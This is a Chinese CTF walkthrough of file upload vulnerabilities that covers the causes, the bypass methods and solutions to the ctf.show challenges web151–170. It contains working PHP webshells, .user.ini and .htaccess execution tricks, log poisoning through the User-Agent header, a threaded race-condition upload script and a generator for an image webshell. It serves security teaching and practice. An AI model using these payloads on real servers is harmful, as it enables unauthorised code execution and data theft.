一. 漏洞原理
-
未经验证的上传机制 :
应用程序未对用户上传的文件进行充分验证,包括:
-
文件类型/扩展名 :仅依赖客户端提交的
MIME类型
或简单检查扩展名(如.jpg
),但未验证文件实际内容。 -
文件内容 :未检测文件内容的合法性(如通过文件头
Magic Number
验证是否为真实图片)。 -
文件大小:未限制文件体积,导致拒绝服务攻击(DoS)。
-
-
可执行路径暴露 :
上传的文件被保存在Web可访问目录 (如
/var/www/html
),且服务器配置允许直接解析执行(如.php
,.jsp
)。 -
文件名处理缺陷:
-
未对文件名进行过滤,导致路径遍历(如
../../malicious.php
)。 -
未重命名文件,保留用户提供的原始名称,可能覆盖合法文件或触发解析漏洞。
-
二、攻击方式
-
上传WebShell :
攻击者上传包含恶意代码的文件(如PHP的
<?php system($_GET['cmd']);?>
),通过URL直接访问并执行系统命令。 -
绕过检查技术:
-
扩展名绕过 :使用
.php5
、.phtml
、.php.jpg
(双扩展名)或大小写混淆(如.PhP
)。 -
内容伪装 :在恶意文件中添加合法文件头(如GIF的
GIF89a
)以绕过内容检查。 -
解析漏洞利用 :利用服务器特性(如Apache解析
test.php.abc
为PHP文件)。
-
-
二次攻击跳板:
-
上传含恶意代码的图片/文档,结合其他漏洞(如文件包含、反序列化)触发执行。
-
利用服务器软件漏洞(如ImageMagick漏洞CVE-2016-3714)。
-
三、靶场复现
web151
本题是前端验证,直接上传1.png文件,里面写一句话木马
<?php eval($_POST["pass"]); ?>
上传抓包不需要改前端(正常需要F12找到上传的前端代码将png改为php),直接在包内改成1.php


上传成功哥斯拉连接

web152
此题是Content-Type验证
Content-Type 是 HTTP 协议中的一个头字段,用于指示发送给接收方的数据的媒体类型
(也称为MIME类型)
与上题操作一致
web153
本题是**.user.ini绕过**
PHP 文件包含漏洞 auto_prepend_file在 PHP 中,当用户访问.user.ini所在目录主页文件时,auto_prepend_file所指向 的文件内容,会自动进行包含,将文件内容当作php代码执行
写一个**.user.ini** 里面写
auto_prepend_file=shell.png
改为png后缀,上传后在包内改后缀


接下来上传写好的1.png上传

上传成功查看上传路径/upload

上传成功,哥斯拉连接

得到flag
web154
上传1.php后发现文件内容不合规,猜测是检测文件内容后把php给过滤了
改一下代码,改成php短标签,命名为2.png
<?=eval($_POST["pass"]);?>
上传.user.ini.png并且改后缀


上传成功

2.png也上传成功访问/upload

连接得到flag

web155
与154的操作流程一样
web156
此题php和[]都被过滤,可以用短标签和{}绕过
<?=eval($_POST{'pass'});?>写入3.php
还是先上传.user.ini.png抓包修改后后缀

接着上传3.png

显示上传成功用哥斯拉连接

得到flag
web157
本题将php,{},[]都过滤
先上传.user.ini.png修改后缀

将<?=system("ls")?>写入shell.png上传

访问后没有flag.php

改为<?=system("ls ../")?>上传

访问后有flag.php

再改为<?=system("tac ../flag.*")?>
得到flag

web158
与上题步骤一致
web159
system,(), ; 被过滤 PHP 也支持用反引号(``)包围命令的方式来执行命令,
<?=ls ../
?>用``代替来执行命令

得到flag

web160
这次`也被过滤了


发现UA头被记录,可以在UA头中可以插入恶意代码
<?=tac ../flag.*
?>放包后访问upload得到flag

web161
上传.user.ini.png和shell2.png需要将在上面加GIF89a


上传后访问upload

跟上题一样,两次上传同时在UA加上<?=tac ../flag.*
?>

得到flag
web162
本题用的竞争条件,上传文成功件时,服务器会先验证如果验证不通过则会删除文件,我们需要的就是在文件删除前去不断访问上传的文件
先上传.user.ini.png文件

再上传sess_后的名称与脚本里的一致<?include"/tmp/sess_syh"?>

接着用借鉴一个大佬的py脚本去不断上传文件并且访问文件
import requests
import threading
session = requests.session()
sess = 'syh'
url1 = "<http://5be3787e-d714-4f94-b0f5-d1d0bdac73e1.challenge.ctf.show/>"
url2 = "<http://5be3787e-d714-4f94-b0f5-d1d0bdac73e1.challenge.ctf.show/upload>"
data1 = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>'
}
file = {
'file': 'syh'
}
cookies = {
'PHPSESSID': sess
}
def write():
while True:
r = session.post(url1, data=data1, files=file, cookies=cookies)
def read():
while True:
r = session.get(url2)
if 'flag' in r.text:
print(r.text)
threads = [threading.Thread(target=write),
threading.Thread(target=read)]
for t in threads:
t.start()

得到flag
web163
与上题步骤一致
web164
借鉴大佬代码
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>
运行后生成png图片马,上传

点击查看图片抓包
原始的包

修改后的包

1、需要修改为POST请求
2、在文件后加&&0=system
3、添加头Content-Type: application/x-www-form-urlencoded
Content-Type: application/x-www-form-urlencoded 是 HTTP 请求头中用于指定请求主体的编码格式的字段。它的作用是告诉服务器,客户端发送的数据采用 application/x-www-form-urlencoded 格式进行编码。这个格式通常用于 HTML 表单提交,特别是在使用 POST 方法时。 4、执行命令 1=cat ./flag.php

返回包得到flag
web166
本题是压缩包上传,随便在一个压缩包里面插入一句话木马

上传后下载文件抓包
原包如下

改包并且执行命令


得到flag
web167
.htaccess文件利用 .htaccess被称为超文本入口,此文件有多个功能,其中一个功能可以改变文件扩展名, 同时也可以实现文件夹密码保护、用户自动重定向、自定义错误页面等功能。
编写.htaccess.jpg
<FilesMatch ".jpg">
SetHandler application/x-httpd-php
</FilesMatch>
//会将上传的jpg文件按php执行

上传shell

上传成功后连接


得到flag
web168
这题的号没有过滤,可以使用
来执行命令
上传png修改为php

访问/upload/shell1.php

flag.php没有查看flagaa.php


访问得到flag
web169

前端只允许上传zip
上传后却显示不合规


改成png的content-type头又成功了

先上传一个zip文件改包改为php文件

上传成功后再上传.user.ini.zip改包
加上auto_prepend_file=/var/log/nginx/access.log

访问上传的2.php再ua头修改成命令

显示执行成功

访问后得到文件目录
再次再ua头写入<?php system('cat ../flagaa.php');?>
访问2.php得到flag
web170
与上题基本一致



直接查询flagaa了不在一步一步尝试,cat或tac都可。得到flag

至此文件上传到此结束!